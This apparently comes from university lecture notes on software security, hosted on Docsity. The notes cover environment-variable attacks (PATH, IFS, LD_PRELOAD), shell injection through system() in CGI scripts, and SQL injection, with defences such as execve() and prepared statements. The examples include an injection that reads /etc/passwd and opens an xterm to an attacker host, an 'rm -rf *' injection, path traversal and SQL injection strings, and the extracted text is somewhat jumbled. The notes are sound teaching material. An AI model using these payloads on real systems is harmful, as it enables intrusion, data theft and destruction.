



Study with the several resources on Docsity
Earn points by helping other students or get them with a premium plan
This page cannot be seen from the preview
Don't miss anything!




Environment variables are “hidden” inputs. They exist and affect the behaviors of programs. Ignoring their existence during programming can lead to security breaches. PATH When running a command in a shell, the shell searches for the command using the PATH environment variable. What would happen in the following? The attacker can change PATH to the following, and cause “mail” in the current directory to be executed. IFS The IFS variable determines the characters which are to be interpreted as whitespace. It stands for Internal Field Separators. Suppose we set this to include the forward slash character: Now call any program which uses an absolute PATH from a Bourne shell (e.g. system(), or popen() system calls). This is now interpreted like the following that would attempt to execute a command called bin in the current directory of the user. The IFS bug has pretty much been disallowed in shells now. LD_LIBRARY_PATH Dynamic library directories: When searching for dynamic libaries, UNIX systems tend to look for libraries to load in a seach path provided by this environment variable. Virtually every Unix program depends on libc.so and virtually every windows program relies on DLL's. If these libraries become exchanged with Trojan horses many things can go wrong. IFS="/ \t\n"; export IFS PATH=".:$PATH"; export PATH system("/bin/mail root"); ---> system(" bin mail root"); system("mail"); PATH=".:$PATH"; export PATH
Attackers can modify this path and cause the program load the attackers’ libraries. Most modern C runtime libraries have fixed this problem by ignoring the LD_LIBRARY_PATH variable when the EUID is not equal to the UID or the EGID is not equal to the GID. Secure applications can be linked statically with a trusted library to avoid this In Windows machines, when loading DLLs, generally, the current directory is searched for DLLs before the system directories. If you click on a Microsoft Word document to start Office, the directory containing that document is searched first for DLLs. LD_PRELOAD Many UNIX systems allow you to "pre-load" shared libraries by setting an environment variable LD_PRELOAD. This allows you to do interesting things like replace standard C library functions or even the C interfaces to system calls with your own functions. Modern systems ignore LD_PRELOAD if the program is a setuid program. How to get rid of environment variables? The above strategy doesn’t necessarily work for every program. For example, loading shared libraries at runtime needs LD_LIBRARY_PATH.
vi vulnerability Behavior: % cc - o malloc_interposer.so - G - Kpic malloc_interposer.c % setenv LD_PRELOAD $cwd/malloc_interposer.so extern char **environ; int main(int argc, char **argv) { environ = 0; } setenv LD_LIBRARY_PATH /tmp:$LD_LIBRARY_PATH
setenv LD_LIBRARY_PATH .:$LD_LIBRARY_PATH
Solaris by default (at least in Solaris 8) does not allow setuid processes to core dump for obvious security reasons.
Invoking Other Programs Safely. What are the potential problems if a CGI script does $Recipient might contain special characters for the shell: (e.g. |, &, <, >) What are the potential problems if a CGI script does The attacker can submit a username of “../../etc/passwd”. What are the potential problems if a CGI program does: This did not respond well to URLs of the form: exec functions, system () and popen () The exec family of functions runs a child process by swapping the current process image for a new one. There are many versions of the exec function that work in different ways. They can be classified into groups which Use/do not use a shell to start child programs. Handle the processing of command line arguments via a shell (shell can introduce more functionalities than what we expect. Note that shell is a powerful program). // $Recipient contains email address provided by the user // using web forms. system("/bin/mail", $Recipient); "[email protected] < /etc/passwd; export DISPLAY=proxy.attacker.org:0; /usr/X11R6/bin/xterm&;" system(“cat”, “/var/stats/$username”); sprintf(buf,"telnet %s",url); system(buf); host.example.com; rm - rf *
Starting sub-processes involves issues of dependency and inheritance of attributes that we have seen to be problematical. The functions execlp and execvp use a shell to start programs. They make the execution of the program depend on the shell setup of the current user. e.g. on the value of the PATH and on other environment variables. execv() is safer since it does not introduce any such dependency into the code. The system(string) call passes a string to a shell for execution as a sub-process (i.e. as a separate forked process). It is a convenient front-end to the exec-functions. The standard implementation of popen() is a similar story. This function opens a pipe to a new process in order to execute a command and read back any output as a file stream. This function also starts a shell in order to interpret command strings. How to invoke a program safely? Avoid anything that invokes a shell. Instead of system(), stick with execve(): execve() does not invoke shell, system() does. Avoid execlp(file, ...) and execvp(file,...), they exhibit shell-like semantics. They use the contents of that file as standard input to the shell if the file is not valid executable object file. Be wary of functions that may be implemented using a shell. Perl's open() function can run commands, and usually does so through a shell.
The examples are from Steve Friedl’s Unixwiz.net Tech Tips: SQL Injection Attacks by Example SQL injection is a technique for exploiting web applications that use client-supplied data in SQL queries, but without first stripping potentially harmful characters. As results, the web applications might run SQL code that was not intended. Some applications get users’ inputs from a web form, and then construct a SQL query directly using the users’ input. For example, the following SQL query is constructed using the value of $EMAIL submitted on the form by users: The above application is commonly used when members of online account forget their password. They just need to type their email addresses; if the email address is in the database (the user is a member), the password of that email will be sent to that email address. The goal of SQL inject attack in this example is to be able to log into the online account without being a member. Guessing field name: the first steps are to guess some fields names of the database. The following guess email as the name of a field. SELECT email, passwd, login_id, full_name FROM table WHERE email = ' $EMAIL ';
If the database isn’t readonly, we can try the following to add a new member: The “- - “ at the end marks the start of an SQL comment. This is an effective way to consume the final quote provided by application and not worry about matching them. There might be some challenges doing so: The web form might not give you enough room to type the entire string. The web application user might not have INSERT permission on the members table. The application might not behave well because we haven’t provided values for other fields. A valid “member” might require not only a record in the members table, but associated information in other tables (e.g. accessrights ), so adding to one table alone might not be sufficient. Modify an existing member’s email address If this is successful, the attacker can now go to the regular “I lost my password” link, type the updated email address, and receive Bob’s password in the email. How to prevent SQL injection attacks? Sanitize the input Configure error reporting: the above attacks take advantage of the error messages returned by the sever. It can make attacker’s life more difficult by not telling the users the actual error message in the SQL query. For example, you can just say “something is wrong”. Use bound parameters, so user’s input is simply treated as data; quotes, semicolons, backslashes, and SQL comment notation will have no impact, because they are treated as just data, and will not be parsed by SQL. See the following Java code: SELECT email, passwd, login_id, full_name FROM members WHERE email = ' x'; INSERT INTO members ('email','passwd','login_id','full_name') VALUES ('[email protected]','hello','xyz','xyz Hacker');-- '; SELECT email, passwd, login_id, full_name FROM members WHERE email = ' x'; UPDATE members SET email = '[email protected]' WHERE email = '[email protected] '; Insecure version Statement s = connection.createStatement(); ResultSet rs = s.executeQuery("SELECT email FROM member WHERE name = " + formField ); Secure version PreparedStatement ps = connection.prepareStatement( "SELECT email FROM member WHERE name =? "); ps.setString(1, formField ); ResultSet rs = ps.executeQuery();